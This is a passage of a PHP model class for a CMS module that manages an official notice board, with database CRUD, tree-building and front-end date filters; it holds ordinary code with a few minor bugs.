	    return (bool)self::doCount($c);
		}
		elseif(is_array($this->childrends) && count($this->childrends) > 0)
		{
			return true;
		}
		return false;
	}

  public function isDescendantOf($id) {
    $item = $this;
    while ($item = $item->getParent()) {
      if ($item->getId() == $id) {
        return true;
      }
    }
    return false;
  }

	public function countSibling($parent_key = 'parent_id')
	{
		$c = new MCFCriteria();
		switch($parent_key)
		{
			case 'parent_item':
				$c->add('parent_item', $this->parent_item);
				break;
			default:
				$c->add('parent_id', $this->parent_id);
				break;
		}
		return self::doCount($c);
	}

  public static function doCount(MCFCriteria $crit) {
    $c = clone $crit;
    $db = cms_utils::get_db();
    $c->addSelectColumn('COUNT(*) AS nbitems');
    $query = $c->buildQuery(cms_db_prefix().self::DB_NAME);
    $result = $db->execute($query, $c->values);
    if($result)
    {
      $row = $result->FetchRow();
      return $row['nbitems'];
    }
    else
    {
      return 0;
    }
  }
  
  public static function buildObjects($result, $extra_fields = array(), $by_id = true)
  {
    $objects = array();
    while ($result && $row = $result->FetchRow()) {
      $object = new UredniDeskaObject();
      $object->populateFromArray($row);
      $object->is_modified = false;
      if(count($extra_fields))
      {
        foreach($extra_fields as $key => $col)
        {
          $object->$key = $row[$col];
        }
      }
      if($by_id)
      {
        $objects[$object->getId()] = $object;
      }
      else
      {
        $objects[] = $object;
      }
    }
    return $objects;
  }

  public static function buildTree(&$results)
  {
    $tree = array();
    foreach($results as &$result)
    {
      if(is_null($result->parent_id) || ($result->parent_id == 0))
      {
        $tree[$result->getId()] = $result;
      }
      else
      {
        if(isset($results[$result->parent_id]))
        {
          // We want the full tree to the roots without orphans... Poor of them.
          $results[$result->parent_id]->addChildrenItem($result);
        }
      }
    }
    return $tree;
  }

  public static function doSelect(MCFCriteria $crit) {
    $c = clone $crit;
    $db = cms_utils::get_db();
    $query = $c->buildQuery(cms_db_prefix().self::DB_NAME, true);
    $result = $db->execute($query, $c->values);
    return self::buildObjects($result);
  }

  /** @return UredniDeskaObject */

  public static function doSelectOne(MCFCriteria $crit) {
    $c = clone $crit;
    $c->setLimit(1);
    $objects = self::doSelect($c);
    return current($objects);
  }

  public static function getById($id) {
    return self::retrieveByPk($id);
  }
  
  public static function retrieveByPk($id)  {
    $c = new MCFCriteria();
    $c->add('id', $id);
    return self::doSelectOne($c);
  }
  
  public static function retrieveByUser($user_id)
  {
    // For profiles
    $c = new MCFCriteria();
    $c->add('user_id', $user_id);
    return self::doSelectOne($c);
  }

	public static function retrieveByParentItem($parent_item)
	{
		$c = new MCFCriteria();
    $c->add('parent_item', $parent_item);
    return self::doSelect($c);
	}

  public static function getTitles() {
    $db = cms_utils::get_db();
    $c = new MCFCriteria();
    $c->addAscendingOrderByColumn(cms_utils::get_module(self::MODULE_NAME)->getPreference('order_by', 'order_by'));
    $query = $c->buildQuery(cms_db_prefix().self::DB_NAME);
    $result = $db->execute($query, $c->values);
    $objects = array();
    while ($result && $row = $result->FetchRow()) {
      $objects[$row['id']] = $row['title'];
    }
    //asort($objects);
    return $objects;
  }

  public static function query($sql, $values = array()) {
    $db = cms_utils::get_db();
    return $db->execute($sql, $values);
  }
  
  public function populateFromArray(array $params, $prefix = null) {
    if(!is_null($prefix)) $prefix .= '.';
    if (isset($params[$prefix.'id'])) {
      $this->setId($params[$prefix.'id']);
    }
    if (isset($params[$prefix.'user_id'])) {
      $this->setUserId($params[$prefix.'user_id']);
    }
    if (isset($params[$prefix.'parent_id'])) {
      $this->parent_id = $params[$prefix.'parent_id'];
    }
    if (isset($params[$prefix.'title'])) {
      $this->setTitle($params[$prefix.'title']);
    }
    if (isset($params[$prefix.'created_at'])) {
      $this->setCreatedAt($params[$prefix.'created_at']);
    }
    if (isset($params[$prefix.'created_by'])) {
      $this->setCreatedBy($params[$prefix.'created_by']);
    }
    if (isset($params[$prefix.'updated_at'])) {
      $this->setUpdatedAt($params[$prefix.'updated_at']);
    }
    if (isset($params[$prefix.'updated_by'])) {
      $this->setUpdatedBy($params[$prefix.'updated_by']);
    }
    if (isset($params[$prefix.'mcfi_created_timestamp'])) {
      $this->setMcfiCreatedTimestamp($params[$prefix.'mcfi_created_timestamp']);
    }
    if (isset($params[$prefix.'mcfi_updated_timestamp'])) {
      $this->setMcfiUpdatedTimestamp($params[$prefix.'mcfi_updated_timestamp']);
    }
    if (isset($params[$prefix.'order_by'])) {
      $this->setOrderBy($params[$prefix.'order_by']);
    }
    if (isset($params[$prefix.'parent_item'])) {
      $this->setParentItem($params[$prefix.'parent_item']);
    }
    if (isset($params[$prefix.'published'])) {
      $this->setPublished($params[$prefix.'published']);
    }
    if (isset($params[$prefix.'send_update_immediately'])) {
      $this->send_update_immediately = $params[$prefix.'send_update_immediately'];
    }
    if (isset($params[$prefix.'full_text_search']))
    {
      $this->setFullTextSearch($params[$prefix.'full_text_search']);
    }
        if (isset($params[$prefix.'datum_vyveseni'])) {
      $this->setDatumVyveseni($params[$prefix.'datum_vyveseni']);
    }
        if (isset($params[$prefix.'datum_sveseni'])) {
      $this->setDatumSveseni($params[$prefix.'datum_sveseni']);
    }
        if (isset($params[$prefix.'kdo_vyvesuje'])) {
      $this->setKdoVyvesuje($params[$prefix.'kdo_vyvesuje']);
    }
        if (isset($params[$prefix.'soubor'])) {
      $this->setSoubor($params[$prefix.'soubor']);
    }
        if (isset($params[$prefix.'zvyraznit'])) {
      $this->setZvyraznit($params[$prefix.'zvyraznit']);
    }
        if (isset($params[$prefix.'soubor2_popis'])) {
      $this->setSoubor2Popis($params[$prefix.'soubor2_popis']);
    }
        if (isset($params[$prefix.'soubor2'])) {
      $this->setSoubor2($params[$prefix.'soubor2']);
    }
        if (isset($params[$prefix.'soubor3_popis'])) {
      $this->setSoubor3Popis($params[$prefix.'soubor3_popis']);
    }
        if (isset($params[$prefix.'soubor3'])) {
      $this->setSoubor3($params[$prefix.'soubor3']);
    }
        if (isset($params[$prefix.'soubor4_popis'])) {
      $this->setSoubor4Popis($params[$prefix.'soubor4_popis']);
    }
        if (isset($params[$prefix.'soubor4'])) {
      $this->setSoubor4($params[$prefix.'soubor4']);
    }
        if (isset($params[$prefix.'soubor5_popis'])) {
      $this->setSoubor5Popis($params[$prefix.'soubor5_popis']);
    }
        if (isset($params[$prefix.'soubor5'])) {
      $this->setSoubor5($params[$prefix.'soubor5']);
    }
      }

  public function toArray()
  {
    $array = array();

    $array['id'] = $this->getId();
    $array['user_id'] = $this->getUserId();
    $array['parent_id'] = $this->parent_id;
    $array['title'] = $this->title;
    $array['created_at'] = $this->created_at;
    $array['created_by'] = $this->created_by;
    $array['updated_at'] = $this->updated_at;
    $array['updated_by'] = $this->updated_by;
    $array['mcfi_created_timestamp'] = $this->mcfi_created_timestamp;
    $array['mcfi_updated_timestamp'] = $this->mcfi_updated_timestamp;
    $array['parent_item'] = $this->parent_item;
    $array['published'] = $this->published;

        $array['datum_vyveseni'] = $this->getDatumVyveseni();
        $array['datum_sveseni'] = $this->getDatumSveseni();
        $array['kdo_vyvesuje'] = $this->getKdoVyvesuje();
        $array['soubor'] = $this->getSoubor();
        $array['zvyraznit'] = $this->getZvyraznit();
        $array['soubor2_popis'] = $this->getSoubor2Popis();
        $array['soubor2'] = $this->getSoubor2();
        $array['soubor3_popis'] = $this->getSoubor3Popis();
        $array['soubor3'] = $this->getSoubor3();
        $array['soubor4_popis'] = $this->getSoubor4Popis();
        $array['soubor4'] = $this->getSoubor4();
        $array['soubor5_popis'] = $this->getSoubor5Popis();
        $array['soubor5'] = $this->getSoubor5();
        
    return $array;
  }

  public function isNew() {
    return $this->getId() ? false : true;
  }

  public function populate($row)  {
    if (isset($row[self::DB_ITEM.'__id']))
    {
      $this->setId($row[self::DB_ITEM.'__id']);
    }

    if (isset($params['user_id'])) {
        $this->user_id = $row[self::DB_ITEM.'__user_id']; //$params['created_at'];
    }
    if (isset($params['created_at'])) {
        $this->created_at = $row[self::DB_ITEM.'__created_at']; //$params['created_at'];
      }
    if (isset($params['created_by'])) {
      $this->created_by = $row[self::DB_ITEM.'__created_by']; //$params['created_by'];
    }
    if (isset($params['updated_at'])) {
      $this->updated_at = $row[self::DB_ITEM.'__updated_at']; //$params['updated_at'];
    }
    if (isset($params['updated_by'])) {
      $this->updated_by = $row[self::DB_ITEM.'__updated_by']; //$params['updated_by'];
    }
    if (isset($params['mcfi_created_timestamp'])) {
      $this->mcfi_created_timestamp = $row[self::DB_ITEM.'__mcfi_created_timestamp'];
    }
    if (isset($params['mcfi_updated_timestamp'])) {
      $this->mcfi_updated_timestamp = $row[self::DB_ITEM.'__mcfi_updated_timestamp'];
    }


    foreach (self::$fields as $field)
    {
      if (isset($row[self::DB_ITEM.'__'.$field]))
      {
        $this->$field = $row[self::DB_ITEM.'__'.$field];
      }
    }
  }

  public static function generateSelectList()  {
    $fields = array_merge(array('id','user_id','created_at','created_by','updated_at','updated_by', 'mcfi_created_timestamp', 'mcfi_updated_timestamp'), self::$fields);
    $list = array();
    foreach ($fields as $field)
    {
      $list[] = self::DB_ITEM . '.'.$field.' as '. self::getRowName($field);
    }
    return implode(' , ',$list);
  }

  public static function getRowName($name)  {
    return self::DB_ITEM . '__' . $name;
  }

  public function save($params = array(), $force_save = false) {
    $this->preSave();
    if ($this->getId() && !$force_save) {
        if ($this->is_modified) {
            $this->update($params);
        }
    } else {
      $this->insert($params);
    }
    $this->postSave();
    cms_utils::get_module(self::MODULE_NAME)->index($this);
    //  debug_display($entry); // TO IMPLEMENT: Show datas for debug
    return true;
  }

  public function delete() {
    if ($this->getId()) {
      $query = 'DELETE FROM '.cms_db_prefix().self::DB_NAME .' WHERE id = ?';
      $this->query($query, array($this->id));
      if(class_exists('MX_RelationLink'))  {
        MX_RelationLink::cleanRelatedItems(self::MODULE_NAME, $this->getId());
      }
    }
    // DELETE ALL RELATED DOCUMENTS
                                                $this->deleteSoubor();
                                            $this->deleteSoubor2();
                                  $this->deleteSoubor3();
                                  $this->deleteSoubor4();
                                  $this->deleteSoubor5();
              cms_utils::get_module(self::MODULE_NAME)->deindex($this);
    return true;
  }

  protected function insert($params = array()) {
    $db = cms_utils::get_db();

    if($this->getId() == null)  $this->setId($db->GenID(cms_db_prefix(). self::DB_NAME . '_seq'));

    $query = 'SELECT MAX(order_by) + 1 AS order_by FROM '.cms_db_prefix().self::DB_NAME;
    $values = array();
    if ($this->parent_item) {
      $query .= ' WHERE parent_item = ?';
      $values[] = $this->parent_item;
    } elseif ($this->parent_id > 0) {
      $query .= ' WHERE parent_id = ?';
      $values[] = $this->parent_id;
		} else {
			$query .= ' WHERE parent_id = 0 OR parent_id IS NULL';
		}
		$result = $db->execute($query, $values);
		if(!$result) return false;
    $row = $result->FetchRow();
    $order_by = $row['order_by'] ? $row['order_by'] : 1;
    if(isset($params['frontend']))
    {
      $userid = null;
    }
    else
    {
      $userid = get_userid();
    }
    $query = 'INSERT INTO '.cms_db_prefix().self::DB_NAME . '
      SET id = ?,
        user_id = ?,
        parent_id = ?,
        title = ?,
                datum_vyveseni = ?,
                datum_sveseni = ?,
                kdo_vyvesuje = ?,
                soubor = ?,
                zvyraznit = ?,
                soubor2_popis = ?,
                soubor2 = ?,
                soubor3_popis = ?,
                soubor3 = ?,
                soubor4_popis = ?,
                soubor4 = ?,
                soubor5_popis = ?,
                soubor5 = ?,
                created_by = ?,
        created_at = NOW(),
        mcfi_created_timestamp = ?,
        updated_by = ?,
        updated_at = NOW(),
        mcfi_updated_timestamp = ?,
        order_by = ?,
        parent_item = ?,
        published = ?,
        send_update_immediately = ?,
        full_text_search = ?';
    $db->Execute($query, array(
        $this->id,
        $this->user_id,
      $this->parent_id,
      $this->title,
            $this->datum_vyveseni,
            $this->datum_sveseni,
            $this->kdo_vyvesuje,
            $this->soubor,
            $this->zvyraznit,
            $this->soubor2_popis,
            $this->soubor2,
            $this->soubor3_popis,
            $this->soubor3,
            $this->soubor4_popis,
            $this->soubor4,
            $this->soubor5_popis,
            $this->soubor5,
            $userid,
      time(),
      $userid,
      time(),
      $order_by,
      $this->parent_item,
      $this->published,
      $this->send_update_immediately,
      $this->full_text_search()
    ));
    cms_utils::get_module(self::MODULE_NAME)->SendEvent('ContentEditPost', array());
    return true;
  }

  protected function update($params = array()) {
    $db = cms_utils::get_db();
    if(isset($params['frontend']))
    {
      $userid = null;
    }
    else
    {
      $userid = get_userid();
    }
    $query = 'UPDATE '.cms_db_prefix().self::DB_NAME. '
      SET 
        user_id = ?,
        parent_id = ?,
        title = ?,
                datum_vyveseni = ?,
                datum_sveseni = ?,
                kdo_vyvesuje = ?,
                soubor = ?,
                zvyraznit = ?,
                soubor2_popis = ?,
                soubor2 = ?,
                soubor3_popis = ?,
                soubor3 = ?,
                soubor4_popis = ?,
                soubor4 = ?,
                soubor5_popis = ?,
                soubor5 = ?,
                updated_by = ?,
        updated_at = NOW(),
        mcfi_updated_timestamp = ?,
        order_by = ?,
        parent_item = ?,
        published = ?,
        send_update_immediately = ?,
        full_text_search = ?
      WHERE id = ?';
    $db->Execute($query, array(
      $this->user_id,
      $this->parent_id,
      $this->title,
            $this->datum_vyveseni,
            $this->datum_sveseni,
            $this->kdo_vyvesuje,
            $this->soubor,
            $this->zvyraznit,
            $this->soubor2_popis,
            $this->soubor2,
            $this->soubor3_popis,
            $this->soubor3,
            $this->soubor4_popis,
            $this->soubor4,
            $this->soubor5_popis,
            $this->soubor5,
            $userid,
      time(),
      $this->order_by,
      $this->parent_item,
      $this->published,
      $this->send_update_immediately,
      $this->full_text_search(),
      $this->id
    ));
    cms_utils::get_module(self::MODULE_NAME)->SendEvent('ContentEditPost',array());
    return true;
  }
  
  public static function updateObjects()  {
    $c = new MCFCriteria();
    $objects = self::doSelect($c);
    foreach($objects as $object)
    {
      $object->is_modified = true;
      $object->save();
    }
  }
  
  public function forceUpdateObject($magic)  {
    if ($magic = 'magic')
    {
      $this->is_modified = true;
      $this->save();
    }
  }

  /**   @deprecated */

  public static function retrieveContextId()
  {
      return MCFTools::retrieveContextId();
  }
  
  // FILTERS
  
  public static function buildFiltersWidgets(CMSForm &$form, $filters)  {
                  
                        
                                  $form->setWidget('moduleFilters[kdo_vyvesuje]', 'text', array('size' => '12', 'label' => 'Kdo vyvěšuje',
           'value' => isset($filters['kdo_vyvesuje'])?$filters['kdo_vyvesuje']:null
          ));
        
                                                                                                                  
      }
  
  public static function buildFiltersCriteria(MCFCriteria &$c, $filters)  {
                                                                            if (isset($filters['kdo_vyvesuje']))
          {
              $c->add('kdo_vyvesuje', '%'.$filters['kdo_vyvesuje'].'%', MCFCriteria::LIKE);
          }
                                                                                                                            }
  
  // FRONTEND WIDGETS
  
                      
  public static function feFilterDatumSveseni_do(&$form, $options = array()) {

          if (!isset($options['label'])) $options['label'] = 'Datum svěšení';

                      // DATES
             $form->setWidget('do', 'text', $options);
              
    
  }

                                                                                                                                    
  public static function feFilterDatumVyveseni_od(&$form, $options = array()) {

          if (!isset($options['label'])) $options['label'] = 'Datum vyvěšení';

                      // DATES
             $form->setWidget('od', 'text', $options);
              
    
  }

                                                                                                                                    
  public static function getFEFilter(&$form, $filter, $options = array())  {
    switch($filter)
    {
        case 'do':
                                
          UredniDeskaObject::feFilterDatumSveseni_do($form,$options);

                                                                                                                                                                                break;
        case 'od':
                  
          UredniDeskaObject::feFilterDatumVyveseni_od($form,$options);

                                                                                                                                                                                              break;
          default:
        break;
    }
  }

  // Executed before the save action is fired
  public function preSave()  {

  }
  
  // Executed after the sace action is fired
  public function postSave()
  {
    if($this->published && $this->send_update_immediately)
    {
      if($digest = cms_utils::get_module('Digest'))
      {
        if(method_exists($digest, 'sendUpdateImmediately'))
        {
          $result = $digest->sendUpdateImmediately(self::MODULE_NAME);
        }
      }
    }
  }

  // TODO: MOVE THE TWO FUNCTIONS
  
  public function getUpdateSubject()
  {
    return $this->title;
  }
  
  public function getUpdateBody()
  {
    $module = cms_utils::get_module(self::MODULE_NAME);
    $module->smarty->assign('item', $this);
    return $module->ProcessTemplateFor('direct_email', array());
  }

  // Executed in the edit action when everything went fine (Executed after item save though)
  public function postActions()  {

  }
  
  // Allow you to restrict the frontend list and details with required filters
  public static function globalFrontendFilters(MCFCriteria &$c, $params = array())  {

  }
  
  public static function buildFrontendFilters(MCFCriteria &$c, $params)  {
    // Module Xtender filters
    if (isset($params['currentpage']) && class_exists('MX_RelationLink')) {
      $c->add('id', MX_RelationLink::getRelatedItemsIds(self::MODULE_NAME, cms_utils::get_current_pageid(), 'pages'), MCFCriteria::IN);
    }
    if (isset($params['pages']) && class_exists('MX_RelationLink')) {
      $glue = isset($params['all_pages']) ? 'AND' : 'OR';
      $c->add('id', MX_RelationLink::getRelatedItemsIds(self::MODULE_NAME, explode(',', $params['pages']), 'pages', $glue), MCFCriteria::IN);
    }
    if (isset($params['options']) && class_exists('MX_RelationLink')) {
      $glue = isset($params['all_options']) ? 'AND' : 'OR';
      $c->add('id', MX_RelationLink::getRelatedItemsIds(self::MODULE_NAME, explode(',', $params['options']), 'options', $glue), MCFCriteria::IN);
    }

    if (isset($params['mxfilters_options']) && is_array($params['mxfilters_options'])) {
      $options = array();
      foreach ($params['mxfilters_options'] as $option) {
        if ($option) {
          $options[] = $option;
        }
      }
      if (count($options)  && class_exists('MX_RelationLink')) {
        $c->add('id', MX_RelationLink::getRelatedItemsIds(self::MODULE_NAME, $options, 'options', 'AND'), MCFCriteria::IN);
      }
    }

    if (isset($params['mxfilters_pages']) && is_array($params['mxfilters_pages'])) {
      $pages = array();
      foreach ($params['mxfilters_pages'] as $page) {
        if ($page) {
          $pages[] = $page;
        }
      }
      if (count($pages)  && class_exists('MX_RelationLink')) {
        $c->add('id', MX_RelationLink::getRelatedItemsIds(self::MODULE_NAME, $pages, 'pages', 'AND'), MCFCriteria::IN);
      }
    }

    // SEARCH

    if (isset($params['filter_title'])) {
      $filter_title = trim(html_entity_decode($params['filter_title']));
      $filter_title = str_replace(array('%', '?'), ' ', $filter_title);
      if (!empty($filter_title)) {
        preg_match_all('/(?:"([^"]+)")|(\w+)/', $filter_title, $matches);
        $clauses = array();
        foreach ($matches[0] as $key => $value) {
          $clauses[$key] = $matches[1][$key] ? $matches[1][$key] : $matches[2][$key];
        }
        foreach ($clauses as $clause) {
          $c->add('title', '%' . $clause . '%', MCFCriteria::LIKE);
        }
      }
    }

    if (isset($params['filter_all'])) {
      $filter_all = trim(html_entity_decode($params['filter_all']));
      $filter_all = str_replace(array('%', '?'), ' ', $filter_all);
      if (!empty($filter_all)) {
        preg_match_all('/(?:"([^"]+)")|(\w+)/', $filter_all, $matches);
        $clauses = array();
        foreach ($matches[0] as $key => $value) {
          $clauses[$key] = $matches[1][$key] ? $matches[1][$key] : $matches[2][$key];
        }
        foreach ($clauses as $clause) {
          $c->add('full_text_search', '%' . $clause . '%', MCFCriteria::LIKE);
        }
      }
    }

    // Module Filters

        if (isset($params['do']) && $params['do'] != '') {
              $c->add('datum_sveseni', UredniDeskaObject::cleanFilterValue('datum_sveseni', $params['do']), MCFCriteria::GREATER_EQUAL);
          }
        if (isset($params['od']) && $params['od'] != '') {
              $c->add('datum_vyveseni', UredniDeskaObject::cleanFilterValue('datum_vyveseni', $params['od']), MCFCriteria::LESS_EQUAL);
          }
    
  }

  public static function cleanFilterValue($name, $value)
  {
    $value = htmlentities($value);
    switch($name)
    {
                                                            case 'datum_sveseni':
        if(preg_match('/^([0-9]{2,4})-([0-1][0-9])-([0-3][0-9])?$/', $value) == 0)
        {
          if(preg_match('/^([0-3][0-9])\/([0-1][0-9])\/([0-9]{4})?$/', $value) != 0)
          {
            list($d,$m,$y) = explode('/',$value);
            $value = $y.'-'.$m.'-'.$d;
          }
          else
          {
              $value = date('Y-m-d', strtotime($value));
          }

        }
        break;
                                                                                                                                                                                                                                                                              case 'datum_vyveseni':
        if(preg_match('/^([0-9]{2,4})-([0-1][0-9])-([0-3][0-9])?$/', $value) == 0)
        {
          if(preg_match('/^([0-3][0-9])\/([0-1][0-9])\/([0-9]{4})?$/', $value) != 0)
          {
            list($d,$m,$y) = explode('/',$value);
            $value = $y.'-'.$m.'-'.$d;
          }
          else
          {
              $value = date('Y-m-d', strtotime($value));
          }

        }
        break;
                                                                                                                                                                                                                                                                  default:
        break;
    }
    
    return $value;
  }

  // Frontend events
  
  public function event($event)
  {
    // This allows you to track events from specific actions
    return null;
  }
  
  public static function events($event, $items)
  {
    // This allows you to track events from specific actions
    return null;
  }
  
  
  // FRONTEND FORMS : CHECK PERMISSIONS
  
  public static function checkPermissions($params = array())  {
    return true; // Can be overide in the custom logic
  }
  
  public function isUserItem()  {
    $user = CMSUsers::getUser();
    if (is_object($user))
    {
      if ($user->getId() == $item->geUserId())
      {
        return true;
      }
    }
    return false;
  }
  
  // Executed in the user_form action when everything went fine
  public function userPostActions($id, $returnid,$form = null)  {
    $this->postActions();
  }
}

?>